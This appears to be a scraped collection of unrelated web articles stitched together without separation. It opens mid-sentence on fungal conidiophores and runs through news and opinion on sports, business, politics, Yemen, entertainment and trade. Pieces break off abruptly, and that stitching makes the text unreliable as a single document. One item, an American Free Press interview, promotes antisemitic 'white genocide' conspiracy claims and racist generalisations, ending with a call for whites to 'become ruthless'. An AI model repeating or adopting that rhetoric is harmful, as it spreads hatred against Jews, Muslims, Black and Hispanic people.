2) in small, loose to dense fascicles, occasionally solitary, arising from internal hyphae or hyphal aggregations, erumpent through the cuticle or emerging through stomata, erect, subcylindrical to geniculate-sinuous, often denticulate, simple, rarely branched, 10-70 X 3-8 [micro]m, continuous to 1-3-septate, pale olivaceous, olivaceous-brown to brown, wall thin to slightly thickened, smooth of almost so; conidiogenous cells integrated, terminal of conidiophores reduced to conidiogenous cells, 10-25 [micro]m long; conidiogenous loci conspicuous, often denticle-like, apex truncate, 1.Evolutionary biologist and popular new atheist figure Richard Dawkins doesn’t mince words when it comes to the threat Islam poses to Western civilization. In a speech at the Cheltenham Science Festival in the U.K., Dawkins slammed the moral idiocy of cultural relativism, arguing against the ill-conceived notion that all religions are more or less the same.
“It’s tempting to say all religions are bad, and I do say all religions are bad, but it’s a worse temptation to say all religions are equally bad because they’re not,” he stated.
Refusing to submit to de facto blasphemy laws, Dawkins then dropped the bomb.
“If you look at the actual impact that different religions have on the world it’s quite apparent that at present the most evil religion in the world has to be Islam,” he said in no uncertain terms.
The fact that Dawkins will likely require a round-the-clock security detail to protect him against retribution by religious fanatics is testament to just how bold such a public declaration can be in the West.
At the time, Dawkins was promoting his new book, Science in the Soul. The popular new atheist figure has courted controversy before, angering Christians, Jews, and Muslims alike. Nevertheless, it’s his critiques of Islam that have attracted the attention of the Islalmophobia industry, with “tolerant” progressives and professional Muslim grievance mongers labeling him as a “bigot.”
The problem, of course, is that Dawkins is as liberal as they come; contrary to his detractors characterizations, his denouncements are far from “racist.” In fact, Dawkins makes a point of separating race from religion, arguing that all ideas, all beliefs should be debated in an open and honest public forum.
“It’s terribly important to modify [Islam] because of course that doesn’t mean all Muslims are evil, very far from it. Individual Muslims suffer more from Islam than anyone else,” Dawkins noted during his speech. “They suffer from the homophobia, the misogyny, the joylessness which is preached by extreme Islam, ISIS and the Iranian regime.”
“So it is a major evil in the world, we do have to combat it, but we don’t do what Trump did and say all Muslims should be shut out of the country,” he added. “That’s draconian, that’s illiberal, inhumane and wicked. I am against Islam not least because of the unpleasant effects it has on the lives of Muslims.”With climate change raising temperatures, wildfires have been a growing concern for many countries around the world. Keeping these fires under control can be an incredibly dangerous job. Can drones add their own weight to the role?
Researchers at the University of Nebraska are building just such a drone to help to safely manage the growing number of wildfires unfolding around the world.
“Unmanned aerial devices have the potential to carry out key resource management strategies and could help us deal with something as big as the international increase in severe wildfires,” the team says.
Robot fire fighters
The team believe that the new drones could eventually take the place of manned aircraft and hotshot firefighting teams that are currently used in wildfire fighting scenarios.
I wrote recently about a project to provide drones with 3D mapping capabilities that allow them to fly themselves, and whilst it isn’t clear whether they will be operated automatically, they will be sufficiently equipped to survive the harsh environments with limited supervision.
“The idea is to provide a safe mechanism for people to perform fire management tasks with less risk and higher efficiency,” the team say.
The drones have already been put through their paces in an indoor environment, and it is hoped that they will be approved for field testing by the FAA early next year.
Fire starting
A central plank of the drones work will be to undertake what is known as prescribed burns. These are controlled fires used to burn off specified areas of grassland to eliminate invasive species and reduce the risk of wildfire.
They are currently under-utilized because of the understandable safety concerns, both to those involved and those who may get embroiled in a poorly managed process.
The drones have an interesting cargo consisting of pingpong sized balls that are full of potassium permanganate powder. Each ball is injected with liquid glycol prior to be dropped, which creates fire after a short time lag.
By using drones, it will be possible to drop these balls in a precise pattern over any landscape in a safe and efficient manner. It will be fascinating to see how they perform when given the green light by the FAA. Watch this space.
Check out the video below to see the drone in action.In about 2014, most bitcoin companies quickly pivoted to the “next big thing”: blockchain. Among them were the financial and fintech houses that were eager to avoid SEC scrutiny of their cryptocurrency holdings but were happy to use blockchain technology to speed up transaction times. Many of those early efforts are now apparently bearing fruit.
MasterCard, for example, has just filed a patent for a “Method and System For Instantaneous Payment Using Recorded Guarantees.” This is, in short, a patent for a blockchain-like system that offers instant payment. It is not a clone, per se, but a patent that assumes that a blockchain-like ledger will be available to store and manage international transactions instantly.
The patent describes:
A method for processing a guaranteed electronic transaction, includes: storing account profile, each include an account number and balance; receiving a transaction message from an acquiring financial institution via a payment network, the message including a specific account number, transaction amount, and payment guarantee data; identifying a specific account profile that includes the specific account number; deducting the transaction amount from the account balance in the specific account profile; generating a record of payment guarantee that includes the transaction amount and data associated with the payment guarantee data; generating a return message including a response code indicating transaction approval and data associated with the generated record; transmitting the generated record to a computing system via a communication network; and transmitting the generated return message to the acquiring financial institution via the payment network.
While the abstract itself doesn’t mention blockchain, MasterCard intends to use the technology in the process, describing a step in which “the payment guarantee data stored in the third data element included in the received transaction message includes at least a blockchain network identifier and (i) a public key or (ii) a destination address, the record of payment guarantee is a blockchain transaction for payment of the transaction amount stored in the second data element included in the received transaction message to (i) the destination address or (ii) a destination address associated with the public key, and the computing system is a node in a blockchain network corresponding to the blockchain network identifier.” That’s definitely a mouthful, but it basically means they’ll store a record of the transaction in some immutable form.
MasterCard has explored blockchain tech before even as its CEO attacked bitcoin publicly. This tendency to cut the cryptocurrency out of a blockchain discussion is not new and it’s not stopping any time soon. Whether it works, however, is a different question.KANSAS CITY, Mo. -- The Chiefs made a bold move to solve their long-term situation at quarterback when they traded up Thursday night to select Patrick Mahomes of Texas Tech.
The Chiefs acquired the 10th pick from the Buffalo Bills in return for the 27th pick, their first-round choice in 2018 and a third-rounder (91st overall) this year.
Mahomes is the first quarterback drafted by the Chiefs in the opening round since 1983 (Todd Blackledge).
"Right now Patrick is not absolutely ready to play," Kansas City coach Andy Reid said. "He's got some work to do. We have to be patient with him. He's definitely not a finished product right now.
"But he has tremendous upside. We think he'll fit into this offense very well. He's a good person. He's intelligent. He's got great skill. I just think he'll be a great Kansas City Chief when it's all said and done."
The Chiefs can afford to give Mahomes time to develop. Starter Alex Smith, who turns 33 next month, has two seasons remaining on his contract.
But the Chiefs could release or trade Smith before the 2018 season with minimal financial penalty. He would cost the Chiefs $3.6 million against their salary cap if they moved him before next season.
The Chiefs have not had much luck with QBs in the draft.
The last one they selected in any round to eventually win a game for the team was Blackledge. The Chiefs have taken 22 QBs in the common draft era, and the only one to make it to a Pro Bowl was Mike Livingston (drafted in 1968; Pro Bowler in 1969).
Mahomes will try to right that ship.
While Texas Tech failed to reach a bowl game this past season, the QB racked up gaudy stats, leading FBS with 5,052 passing yards. He joined current Titans QB Marcus Mariota (2014 Oregon) as the only players from a major conference in FBS history to throw 40 touchdown passes and rush for 10 touchdowns in the same season.
Mahomes had the most completions from outside the pocket (55) and under duress (59) among Power 5 QBs last season. He completed 46.2 percent of his passes thrown at least 10 yards downfield in 2016 and his 313 scramble yards ranked second in the Big 12.In case you weren’t aware, CCS—the longest running, most recognizable mailorder in the skate game—was acquired by Foot Locker in 2008. That’s old news. What’s new is that the refs at Foot Locker just blew the whistle on CCS, ostensibly calling it a wrap. As of today, CCS employees are quitting and getting laid off as CCS will be phased out entirely. Customers will now be directed to Eastbay for their skate product needs.
So what does that really mean other than the fact that you will no longer be getting catalogs mailed to you with four hundred pages of sneakers and two of actual skateboards? Not much really, as the importance of CCS to the average skateboarder is at an all time low, but that’s another big declaration about where skateboarding is headed in the weird ass year of 2014.
I know you’re saying, “Who gives a shit?” as your small brand board snaps another no comply. But aside from the hit the CCS riders and employees are taking, it does reinforce the idea that skateboarders ARE rapidly becoming athletes. Wait, I just talked about small brands and creative skateboarding and said we’re athletes? Huh? Just give me a second.John Hill, Wikimedia Commons Vietnam on Sunday inked a deal with firms from Japan and Kuwait to build an oil refinery complex worth nearly $9 billion as part of efforts to meet its growing energy needs.
The Nghi Son refinery, which is due to start operating by 2017 in Thanh Hoa province, about 200 kilometres (125 miles) south of Hanoi, will turn Kuwaiti oil into petrol and other petroleum products.
It will be able to process 10 million tonnes of crude oil a year, the government said.
State-owned PetroVietnam will own a 25.1-percent stake in the joint venture while Japan's Idemitsu Kosan and Kuwait Petroleum International will each hold 35.1 percent. Mitsui Chemicals of Japan will own the remaining 4.7 percent.
Speaking at the signing ceremony, Vietnamese Prime Minister Nguyen Tan Dung hailed the project as "very important" for the communist country's economic and social development, according to a government statement.
Vietnam has offshore oil reserves but still spends several billion dollars each year to import petroleum products to feed its growing economy.
A |
Oubre Jr., is a major reason why Wall decided to stick around. Despite not getting past the second round, the Wizards pushed the Celtics to Game 7 and would have had a better chance had Wall not finished 0 of 11.
Wall said he was fatigued late in that game and vowed to work on that so it doesn't happen again. The Wizards are glad they'll have many years to see if he makes good on that.
"You would love to have him extended just because of who he is as a person and who he is as a player," Brooks said. "When you have that combination as one of your team leaders, you don't want to let him leave in the middle of his prime."E. Lee doubled down the lf line (0-0).
L. Bonfield walked (3-0).
G. Koch tripled to center field, 2 RBI (0-0); L. Bonfield scored; E. Lee scored.
D. Fletcher hit by pitch (2-2).
C. Shaddy singled to left field, RBI (0-0); D. Fletcher advanced to second; G. Koch scored.
C Spanberger hit by pitch (0-0); C. Shaddy advanced to second; D. Fletcher advanced to third.
J. Biggers walked, RBI (3-1); C Spanberger advanced to second; C. Shaddy advanced to third; D. Fletcher scored.
H. Wilson walked, RBI (3-1); J. Biggers advanced to second; C Spanberger advanced to third; C. Shaddy scored.
E. Cole singled to shortstop, RBI (1-2); H. Wilson advanced to second; J. Biggers advanced to third; C Spanberger scored.
E. Lee hit by pitch, RBI (0-1); E. Cole advanced to second; H. Wilson advanced to third; J. Biggers scored.
L. Bonfield struck out looking (1-2).
G. Koch reached on a throwing error by ss, RBI (3-2); E. Lee advanced to third; E. Cole scored; H. Wilson scored.
D. Fletcher flied out to cf, SF, RBI (0-1); E. Lee scored, unearned.
C. Shaddy walked (3-2); G. Koch advanced to second.If you’re a leftist in San Francisco or Oakland, California (highly likely), you probably cheered as the city implemented a minimum wage hike last summer raising the wage to $13 an hour, soon to be $14 an hour this July 1, and $15 an hour on July 1, 2018.
On the other hand, if you were a restaurant owner, you probably felt your heart sink when the decision was announced, as it seemed highly likely that you could be run out of business by the hike.
You would have been right.
In the winter of 2016-17, 64 restaurants around the Bay Area have closed. And these weren’t your garden-variety restaurants that were parts of national chains; they closed all over the area, from Berkeley to Hayes Valley to Oakland to the Embarcadero to Inner Richmond to the Marina to the financial district.
But that possibility didn’t matter to the groups fighting for a wage hike, including “Fight for 15,” which stated, “We’re robbed on the job by our employers looking to cut corners. And it’s not like our employers are struggling — these are multi-billion dollar corporations.”
In April, the Harvard Business School, released a study that examined restaurants in the San Francisco Bay Area between 2008 and 2016 titled, “Survival of the Fittest: The Impact of the Minimum Wage on Firm Exit.” The study posited that a $1 increase in the minimum wage led to a roughly 14% increase in the likelihood of a median 3.5 star restaurant closing. The study concluded that over the next two years, San Francisco’s restaurant industry would shrink, meaning the workers would lose jobs.
Shhh. Don’t tell that to the restaurant workers. Let them find out for themselves.Watch out, you could end up with the dreaded cake face at any moment.
We don't usually like to indulge ill-informed opinions like this, but every now and then it's good for a laugh.
Over on Reddit (home of some of the worst of the internet) men have detailed their pet hates about how women present themselves. Specifically, according to the post, things "women think makes them more attractive to men while men think it makes them less attractive."
On the internet, you don't have to ask twice for men to start complaining about women, so it was a pretty fruitful discussion.
READ MORE:
* 10 beauty hacks that don't cost a penny
* How to handle a bad hair cut
* These magnetic false lashes might be the answer to our prayers
Some highlights (we mean lowlights) are collected below. Read on only if you feel like rolling your eyes all the way out of your skull.
TOO MUCH MAKEUP
This was a common theme, but one that we object to on the grounds that most men can't tell the difference between no makeup and heavy makeup without obvious lipstick of eyeliner.
ANY SORT OF BODY MODIFICATION
From lip piercings to breast implants, any alteration to the body you were born with counts you out with this lot.
This one takes a little detour into recommending adult women pretend they've never had sex, but winds up back at a hatred for septum piercings. We appreciate the tiny allowance made for self-expression.The Houthis would not be returning, Nayef Al Bakri said, and he urged Yemenis who had fled Aden to come back and participate in its reconstruction.
ADEN // The new governor of Aden on Wednesday thanked the UAE for its role in driving out Houthi rebels and restoring stability to the city.
Nayef Al Bakri said the rebels had committed heinous crimes against civilians, but life was now returning to normal and people were back on the beaches and in the markets.
The UAE has played a key role in Operation Restoring Hope, the Saudi-led campaign launched in April to continue driving out the Iranian-backed rebels and restore the internationally backed government of the exiled president Abdrabu Mansur Hadi. Three Emirati soldiers have lost their lives in the operation.
The Houthis and renegade army units loyal to the former president Ali Abdullah Saleh were forced out of Aden last week. Mr Al Bakri, head of Yemen’s resistance council and a former deputy governor, returned to the city as governor along with several previously exiled Hadi government ministers.
A technical team from the UAE repaired the tower and passenger terminal at Aden international airport, which had been heavily damaged in clashes before the rebels were driven out, and the first aid ship to dock in Aden for four months arrived from the UAE with 2,315 tonnes of humanitarian aid.
The Houthis would not be returning, Mr Al Bakri said, and he urged Yemenis who had fled Aden to come back and participate in its reconstruction.
In Riyadh, Mr Hadi’s exiled government issued an order for Popular Resistance militia units fighting alongside loyalist troops against the rebels to be merged into the armed forces.
The supreme defence council, chaired by Mr Hadi, said the decision was a reward for their “brave contribution to defending the homeland”.
The loyalists pushed back rebels in Lahoum, on Aden’s northern outskirts, following heavy fighting in which 12 rebels were killed.
The area lies on the road to Lahj, where loyalists have been tightening the noose on rebels with the aim of recapturing the strategic Al Anad airbase.
Saudi-led air strikes hit Houthi targets near the base, as well as in the town of Dhalea and in Saada province in the north.
In the central city of Taiz, 10 Houthi fighters and five loyalist soldiers were killed in fighting.
Violence also continued in Yemen’s capital, Sanaa, which is still occupied by the rebels. Three people died and seven were injured when ISIL extremists detonated a car bomb outside an Ismaili Shiite mosque in an eastern area of the city.
The extremists said the attack on Al Faydh Alhatemy mosque in Nuqum district was revenge for Ismaili support for the Houthis.
It was the second bombing in Sanaa in three days. A bomb underneath a passenger bus in the southern Dar Selm area on Sunday killed three people and injured five.
No one admitted that attack, but a number of such explosions in the city and elsewhere in Yemen in recent months have been claimed by ISIL.
Nearly 4,000 people have been killed and nearly 20,000 injured in fighting in Yemen since March.
* Wam, ReutersNBC has already renewed its revived “Will & Grace,” nearly two months before the comeback even kicks off. Additionally, the broadcast channel has upped this fall’s run from 12 to 16 episodes.
Network Entertainment Chairman Bob Greenblatt announced the sophomore run and expanded freshman season Thursday afternoon at the Television Critics Association Summer Press Tour.
Season 2 will consist of 13 episodes, he said.
Also Read: Jimmy Fallon Not Asked to 'Do Trump More, Do It Differently,' NBC Chief Says (Exclusive)
The comeback was original set for a 10-episode run — NBC then called for two more. Clearly, everyone involved believes there is plenty to mine from the ’90s comedy.
Greenblatt was asked earlier in the day about more “Will & Grace,” but he held the news for the show’s actual panel. Cagey.
“Season 1” of “Will & Grace” premieres on Thursday, Sept. 28 at 9 p.m. on NBC.Story highlights Florida Prosecutor charges Matthew Apperson with attempted murder in Zimmerman shooting
Apperson's attorney says this is a case of self defense
Arraignment scheduled for June 23
(CNN) Matthew Apperson has been charged Thursday with second degree attempted murder in last month's shooting of George Zimmerman.
"Our law enforcement community and the State Attorney's Office works vigorously to ensure people may travel our busy streets, going about their business, without fear. Every resident and visitor to Seminole County deserves this freedom," said State Attorney Phil Archer.
"My reaction to these charges is a pronounced shrug," Apperson's attorney Michael LaFay told CNN. "I've reviewed the charges and they don't change the facts. The prosecutors have put their heads together and tried to contemplate what could be the most serious charges, but that doesn't really change anything. This is a case of self-defense."
Apperson also faces charges of shooting into an occupied vehicle and aggravated assault with with a firearm. He is accused of firing at Zimmerman on May 11 while driving down a street in Lake Mary, Florida. The bullet went through Zimmerman's passenger window and narrowly missed him, according the police report. Apperson claims that Zimmerman pointed a gun at him first and that is when he rolled down his window and shot at him.
Apperson exhibited unusual behavior and appeared to have a fixation with Zimmerman, according to the report. Zimmerman became a public figure when he fatally shot teenager Trayvon Martin. He was acquitted of charges in 2013.
Read More• White Christian Europe, America committing cultural suicide with immigration policies.
By Victor Thorn —
On the heels of recent reports stating that the number of non-white children under five years of age will surpass whites by 2020 and that whites will be a minority within the United States by the year 2043, seven years sooner than previously projected by the Census Bureau, on March 4 AMERICAN FREE PRESS interviewed popular radio talk show host Robert Reyvolt to get a better understanding of the situation.
When asked about this nation’s rapidly changing racial demographics, Reyvolt said: “What we’re seeing today dates back to a strategy conceived by two academics, Richard Cloward and Frances Fox Piven. Under the Cloward-Piven strategy, America’s social safety net would be deliberately overwhelmed and eventually collapsed so that far-left neo-Bolsheviks could rebuild a new socialist utopia from the ground up. The so-called intellectuals behind this plot are the same ones that have demonized white Europeans for the past century.”
Expanding upon this notion, Reyvolt added: “When examining white liberals, I place them into categories. The largest group—the self-hating, mind-controlled useful idiots—accepts the propagandized lies spoon fed to them by people like Obama and the Jewish media. Because of their confirmation biases, they have no curiosity to look for the truth. Worse, they’re not sophisticated enough to realize the extent to which they’re being used. These individuals are controlled from the background by elitists like Prince Philip, Bill Gates, George Soros and Al Gore.”
Returning once again to Cloward-Piven, Reyvolt offered this big-picture analysis: “The supposed liberal utopia being orchestrated in America will actually result in a nightmare for whites, especially since Hispanics boast about breeding Gringos right out of existence. Ever since the 1960s Civil Rights Act, blacks have been poisoned into believing that whites are their enemies. Yet many of the black supremacist cults peddling this nonsense mirror Jewish Talmudic cults. Like white liberals, blacks who voted for Obama couldn’t comprehend what an insidious guy he was.”
The agenda being pushed by Obama is evident, contends Reyvolt. “It’s been reported that illegal aliens will soon be paid tax refunds [some of them upwards of $35,000] even though they never contributed to the system,” he said.
According to Reyvolt, other inherent problems also exist. “Whites are scattered into so many subsections that there’s no unity among us,” he said. “On the other hand, minorities like Hispanics, Islamists and blacks are more monolithic in their ideology and voting patterns. They also view whites as the devil. Because of their common hatred, I see something evil coming down the pike for white Christian Western civilization.”
This cultural erosion has already commenced, argued Reyvolt. “When looking at migrations of people, we have to understand where they’re leaving from and where they’re going to,” he said. “Who’s taking in the most migrants? They’re white European Christian countries. Look at the devastating impact Muslims are having on Mediterranean and Scandinavian nations and Europe as a whole. The same applies to America and Canada. All of these white countries are under assault by the usual suspects—Africans, Arabs and Hispanics. It’s an attempt at white genocide.”
Reyvolt furnished more details: “The Jewish narrative of history seeks to eliminate any possibility of white nationalism or racial consciousness. It’s a multifaceted plan that involves demographic overload. Blacks, Hispanics and Arabs are being made to hate their white host countries. They are being indoctrinated with anti-white sentiments.”
As for solutions, Reyvolt didn’t mince words: “Whites better get their heads out of the sand if they want to survive. Whites must become ruthless in the future. For far too long they’ve been emasculated and made soft by the Zionist mafioso.”
Victor Thorn is a hard-hitting researcher, journalist and author of over 50 books.“Game of Thrones” is such a massive show that it’s always a question of how the crew manages to pull off such large set pieces. How do you plan a battle between thousands of ice zombies and three fire-breathing dragons?
A new video lays it all out. It was uploaded Friday by El Ranchito, a visual effects company based in Madrid that had previously brought many scenes to life for “Game of Thrones” fans, including the battle at Hardhome in Season 5 and the “Hold the Door” sequence in Season 6.
Set to the tune of the “Game of Thrones” theme, the five-minute compilation highlights a number of shots and how they were done, including ones that show thousands upon thousands of digitally-rendered wights and how the dragons interacted with them. The trick? A lot of layering and green screens.
Watch the compilation above.
Also Read: 'Game of Thrones' Director on That Strange 'n' Steamy Jon Snow Sex Scene: 'Dreamy Uniting'
We already got a glimpse behind-the-scenes thanks to HBO’s featurettes, which have been documenting the effects-heavy battles and sequences this season.
In one released following “Beyond the Wall,” the effects teams, along with showrunners D.B. Weiss and David Benioff, discussed the intricacies of the episode and shared their excitement about getting their long-awaited zombie polar bear.
The scenes beyond the Wall were shot on locations in Iceland and Belfast, which meant that the nature in Iceland had to be recreated elsewhere, and that crews were responsible for making winter look even more wintry.Less than a month after it was announced that first daughter Ivanka Trump was getting an unpaid job in her father's White House, her brother Eric is now speculating that she may have influenced President Donald Trump into abandoning his longheld opposition to attacking Syria and the Bashar Assad regime.
"Ivanka is a mother of three kids and she has influence. I’m sure she said ‘listen, this is horrible stuff.’ My father will act in times like that," Eric Trump told The Telegraph.
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He added, "And by the way, he was anti doing anything with Syria two years ago. Then a leader gasses their own people, women and children, at some point America is the global leader and the world’s superpower has to come forward and act and they did with a lot of support of our allies and I think that’s a great thing."
Notably, however — and in keeping with Eric Trump's recent habit of accidentally stating truths that embarrass the rest of his family — he also used the interview as an opportunity to insist that there was nothing to see about his father's well documented connections to the regime of Russian dictator Vladimir Putin.
"If there was anything that Syria did, it was to validate the fact that there is no Russia tie," Trump told The Telegraph. This argument ignores the fact that Trump warned Russia before conducting his airstrikes on Syria,
Trump also said that he wasn't worried about Putin's threats of military retaliation over America's attacks on Syria, claiming that the president "is not a guy who gets intimidated. I can tell you he is tough and he won’t be pushed around. The cards will shake out the way they do but he’s tough."
[jwplayer file="http://media.salon.com/2017/04/3bc0461917b4fff280224a78513b011a.mp4" image="http://media.salon.com/2017/04/584d7aaaacff473371ac0f24d1695baf_1.jpg"][/jwplayer]Marvel Comics’s Ms. Marvel is taking a break from saving the world to get out the vote for Hillary Clinton.
In 2015, Marvel introduced Kamala Khan, a Muslim-American teenager who took over the Ms. Marvel mantle from Carol Danvers. The results were mostly positive, even if Khan spent her first issue defending her classmates from microaggressions instead of defending Earth from nefarious galactic threats like her mentor.
But, according to Marvel’s previews, Ms. Marvel #13, due out in November, is an “educational PSA” on voting rights. It delves into how it’s illegal to be prevented from voting by an employer, and, most importantly, on how a protest vote (or no vote at all) is an abrogation of everything our forefathers fought for.
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At any rate, Ms. Marvel #13 in her New Jersey hometown, only to have door after door slammed in her face, and to be chewed out by a character who looks suspiciously like Bernie Sanders and hasn’t voted since 1972. At one point, the collective apathy of New Jersey voters saps Kamala of her powers and forces her to pass out in the middle of the street, emotionally bereft at the thought of Donald Trump winning the election. At any rate,Ms. Marvel #13 sees Kamala trying to get out the vote in her New Jersey hometown, only to have door after door slammed in her face, and to be chewed out by a character who looks suspiciously like Bernie Sanders and hasn’t voted since 1972. At one point, the collective apathy of New Jersey voters saps Kamala of her powers and forces her to pass out in the middle of the street, emotionally bereft at the thought of Donald Trump winning the election.
Because make no mistake, Ms. Marvel is not voting for Donald Trump, according to her comics creator, Sana Amanat, who told Late Night with Seth Meyers that Kamala would have strong words for the Republican candidate.
“The first thing that she would say is, you’re doing such irreparable damage to young Americans, and minorities everywhere,” Amanat said. “And then she’d probably remind him that his grandfather was an immigrant, I believe, and if he had the same type of vitriolic sentiment … thrown at him, Trump would not have the opportunities that he would have or the successes that he would have.”
In the end, as evidence by a promotional picture from the comic, Kamala succeeds.
Unfortunately for Hillary, the comic book actually comes out after the election: on November 30. Which means that, by the time she can buy the issue in her local comic book store, we’ll know whether the Hillary-focused efforts in New Jersey won or lost her the race."Pope Francis says when the economy controls politics both lose... When economics takes over we tolerate anything for the sake of the dollar."
- Sister Simone Campbell
Cheap labor is the whole point of our corporate-rigged, NAFTA-style trade agreements. Companies get to move jobs, factories, even entire industries out of the U.S. to countries where people are exploited, the environment is not protected and "costs" like human safety are kept low.
But even so... tolerating slavery? Flat-out slavery? Really? Unfortunately, it looks like that's what is happening with fast-track trade promotion authority, The Trans-Pacific Partnership (TPP) and the Obama administration.
Malaysia Reclassified
A few weeks ago Wall Street and the giant, multinational corporations got their way and pushed "fast track" through the Congress. This set up a special voting procedure for trade agreements – and only for trade agreements – that makes sure these rigged deals can get through Congress before the public can be organized to rise up in opposition.
However, one good thing did make it into this recent fast-track bill. The bill said the administration cannot go into a trade deal with any country that is a "Tier 3" human trafficking (slavery) violator.
The Trafficking Victims Protection Act’s (TVPA) requires the State Department to compile a Trafficking In Persons (TIP) Report that ranks countries according to their compliance with certain TVPA standards. Countries are ranked:
Tier 1 if the fully comply with the TVPA's minimum standards.
Tier 2 if they do not fully comply but are making significant efforts to come into compliance.
Tier 2 Watchlist if 1) they are Tier 2 and the number of victims is either very high or increasing; or ; or 2) they were Tier 2 the prior year and have no evidence of trying to fix that or; or 3) they had promised to take additional future steps over the next year.
Tier 3 if they do not fully comply with the minimum standards and are not making serious efforts to do so.
Malaysia was a Tier 3 country in the 2014 TIP report. The 2015 TIP report was supposed to be released in June but was delayed coincident with the passage of fast-track legislation with the slavery clause. The report was released Monday, and changes Malaysia's TIP rating from the worst "Tier 3" to a “Tier 2,″ even though there is little or no change in Malaysia’s actual performance.
↓ Story continues below ↓
Being a human trafficking country means real things to real people. For example, in late May Malaysian police found mass graves containing the bodies of 139 people, apparently trafficked migrant workers. (Click through for photos of cages where people had been held.)
The findings appeared to indicate a system of jungle camps and graves that dwarfs those found by Thai police in early May, a discovery that ignited regional concern about people smuggling and trafficking. The discovery also follows repeated denials by top Malaysian officials – who have long been accused by rights groups of not doing enough to address the illicit trade – that such sites existed on their soil.
David Dayen further explains Malaysia's human trafficking situation at The Intercept, in "Blocked From Trade Pact By Its Failure on Slavery, Malaysia Suddenly Gets a Passing Grade":
In 2014, the State Department demoted Malaysia to Tier 3 status for being a destination “for men, women, and children subjected to forced labor and women and children subjected to sex trafficking.” Malaysia’s 4 million foreign workers are threatened by large smuggling debts and confiscated passports that put them at the mercy of recruiting companies. Women in particular, recruited for hotel or beauty salon work, are routinely coerced into the commercial sex trade. And forced labor runs rampant in agricultural, construction and textile industries, producing the same goods that would get duty-free access to U.S. markets under TPP.
So there it is. You can't have Tier 3 human trafficking countries in TPP, and Malaysia is a Tier 3 human trafficking country... uh oh, a big problem for TPP, and for the Obama administration's desire to get TPP through with Malaysia in it.
So to fix the problem the Obama administration just changed Malaysia's classification from "Tier 3" to "Tier 2" for no apparent reason except TPP. Problem solved. Malaysia's slavery problem and its victims? Not so much.
Faith And Human Rights Groups Respond
Representatives of faith and human rights groups responded on a conference call Monday, moderated by Melinda St. Louis, Director of International Campaigns, Public Citizen and with Reverend Dr. J Herbert Nelson, Director, Presbyterian Church U.S.A., Office of Public Witness; Sister Simone Campbell, Executive Director, NETWORK (Nuns on the Bus); Phil Robertson, Human Rights Watch, Deputy Director - Asia Division; Tom Andrews, President of United to End Genocide and former Member of Congress and Reverend Dr. Susan Henry-Crowe, General Secretary of United Methodist Church – General Board of Church and Society participating as speakers.
Here are notes from that conference call, quotation marks used where certain:
St. Louis' comments set the stage. The TIP report, released six weeks late, changed Malaysia to a Tier 2 country, even though 139 graves of trafficking victims were found just this May. Congress barred trade deals with Level 3 countries. It looks like the State Department report was manipulated to facilitate Malaysia’s participation in TPP.
Nelson spoke of "our creator’s call for the perpetuation of human dignity. This accrues to individuals but also to nations." He added, "Our faith calls us to stand against this type of denial of human dignity.. the usury mill of individuals."
Nelson called for the Obama administration and Congress "to truly move forward, not elevate from one tier to another when it is clear they are involved, not being upgraded to a position where they can sit at a table and financially benefit as well as our nation while debasing individuals."
"This is about the integrity of our nation, for people of faith it is about the integrity of our faith," Nelson said.
Campbell said the TIP report raises Malaysia from bad actor to a watch list; it doesn’t appear to be any evidence of why there has been a change. Malaysia had nine convictions for trafficking in 2013 but only three in 2014. The report contradicts itself in claims that Malaysia is trying – by the data they have not improved.
"Even Cambodia prohibits domestic workers from going to Malaysia because they are so likely to be exploited," Campbell said.
When Cambodia has it right and we have it wrong that is a bad day for all of us, she said.
Campbell urged the administration in preparation for Pope Frances’ visit to change its ways.
Robertson explained that the situation is "far from sufficient to justify this upgrade."
"How can the State Department call this progress?" Twenty-five percent of Malaysia workforce come from somewhere else, using recruitment firms, smugglers, debt bondage, restrictions on movement, even human trafficking. Malaysia doesn’t even stop employers from seizing passports from workers. There is no substantive action to deal with corrupt officials.
Malaysia's own reporting says 80 percent of Malay border officials are involved in corruption. Migrants fear going to the government because of official connivance with traffickers, and traffickers are not brought to justice.
This upgrade is about TPP not fighting human trafficking. This damages an important report that has been about global efforts to combat slavery.
Andrews also said there is widespread and pervasive corruption, with women and girls forced into prostitution. We know about the camps, mass graves at the Thai border. But Malaysia said there are "no criminal elements" involved with these mass graves.
The TIP Report's aim is to enlighten, energize and empower activists, this release has done exactly the opposite. Despite all evidence that Malaysia does not deserve this upgrade, we believe the administration is undermining the credibility of this tool, which leaves the world’s move vulnerable populations to suffer the consequences, Andrews said.
Burton said a coalition of faith organizations is fighting human trafficking. They had applauded U.S. monitoring and the TIP report before this. The decision to upgrade Malaysia is especially disturbing. "We are gravely concerned that our brothers and sisters will become more susceptible." Malaysia is at best not enforcing. This does not reflect our nation's commitment to human rights. The U.S. needs to rethink its upgrade from tier 3 to tier 2.
Key Statements
Sen. Bob Menendez (D-N.J):
“I am profoundly disappointed by this year’s TIP report. The Administration has turned its back on the victims of trafficking, turned a blind eye to the facts, and ignored the calls from Congress, leading human rights advocates, and Malaysian government officials to preserve the integrity of this important report. They have elevated politics over the most basic principles of human rights.... In Malaysia, members of the Parliament, the legal profession, and human rights activists have urged the United States to support their efforts and to maintain the Tier 3 ranking they tell us Malaysia deserves. Today, we have failed them.... The United States’ commitment and credibility in fighting the scourge of modern-day slavery is on the line. We need to make clear that the TIP report must not be subject to political manipulation."
Communications Workers of America (CWA):
“A bad trade deal for the American people is made all the worse when its pursuit tramples on our country's basic values and makes a mockery of the supposed independence of the State Department's annual Trafficking in Persons report. The facts are clear - Malaysia has a serious human trafficking problem that has not improved and the Obama Administration is placing the completion of the TPP ahead of human trafficking concerns. "Further, Malaysia's upgraded ranking calls into question TPP backers' claims about this trade deal upholding and advancing global improvements on human and labor rights and environmental standards. We simply should not be rewarding bad actor countries like Malaysia with inclusion in trade deals. "For those who followed the fast track debate closely, it shouldn't be a surprise that backers of the TPP would resort to any means possible to finish this deal. But that we are not surprised shouldn't diminish the audacious and troubling nature of today's announcement."
AFL-CIO:
This decision is wrong and outrageous. It is a political decision that undermines the integrity of the TIP Report and signals that the U.S. is willing to turn a blind eye to modern slavery and grave human and labor rights abuses in order to advance its trade agenda. The administration has had difficulty securing approval for fast track. Today's cynical upgrade of a nation where forced labor, human trafficking, and exploitation remain pervasive, undermines its promises on labor rights, human rights, and anti-corruption in trade deals and does not bode well for TPP passage.
Alisa Simmons, deputy director of Public Citizen’s Global Trade Watch,
